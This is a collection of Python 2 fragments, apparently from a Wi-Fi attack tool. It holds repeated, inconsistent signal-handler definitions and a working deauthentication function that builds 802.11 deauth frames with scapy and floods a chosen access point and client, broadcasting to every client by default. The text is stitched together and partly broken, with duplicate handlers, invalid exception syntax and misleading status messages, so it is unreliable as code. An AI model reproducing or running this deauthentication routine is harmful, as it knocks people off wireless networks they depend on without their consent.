def signal_handler(signal, frame): ## for Databse Module ##print("\n=== Dumping APs from memory ===") ##db_api.select_from_db(conn) manage_interfaces.disable_monitor(interface) print("Goodbye! ") sys.exit(0)
def signal_handler(signal, frame): try: manage_interfaces.disable_monitor(interface_monitor) except err: logs_api.errors_log(str(err)) pass print(colors.get_color("GRAY") + "\nExiting...\nGoodbye!"+colors.get_color("ENDC"), flush=True) sys.exit(0)
def deauthenticate(iface): target_ap_bssid = str(raw_input(colors.get_color("ORANGE")+"Enter target AP (BSSID): "+colors.get_color("ENDC"))) target_client_bssid = str(raw_input(colors.get_color("ORANGE")+"Enter target Client (BSSID) [empty for brodcast]: "+colors.get_color("ENDC"))) if (target_client_bssid == ''): target_client_bssid = ":".join(["ff"]*6) number_of_times = input(colors.get_color("ORANGE")+"How many times: "+colors.get_color("ENDC")) number_of_pkts = input(colors.get_color("ORANGE")+"Number of deauth packets: "+colors.get_color("ENDC")) pkt = RadioTap() / Dot11(type=0,subtype=12,addr1=target_client_bssid,addr2=target_ap_bssid,addr3=target_ap_bssid) / Dot11Deauth(reason=7) for n in range(number_of_times): sendp(pkt, iface=iface, count=number_of_pkts) print(colors.get_color("ORANGE")+"[%s]" %(n+1) +" Deauth sent from: "+iface+" BSSID: "+target_ap_bssid+ " for Client: "+target_client_bssid+colors.get_color("ENDC")) print("Switching to monitor mode...") manage_interfaces.disable_monitor(iface) print(colors.get_color("GRAY") + "\nExiting...\nGoodbye!"+colors.get_color("ENDC"))
def signal_handler(signal, frame): try: manage_interfaces.disable_monitor(interface_monitor) except Exception, err: logs_api.errors_log(str(err)) pass
def signal_handler(signal, frame): manage_interfaces.disable_monitor(interface) print("Goodbye! ") sys.exit(0)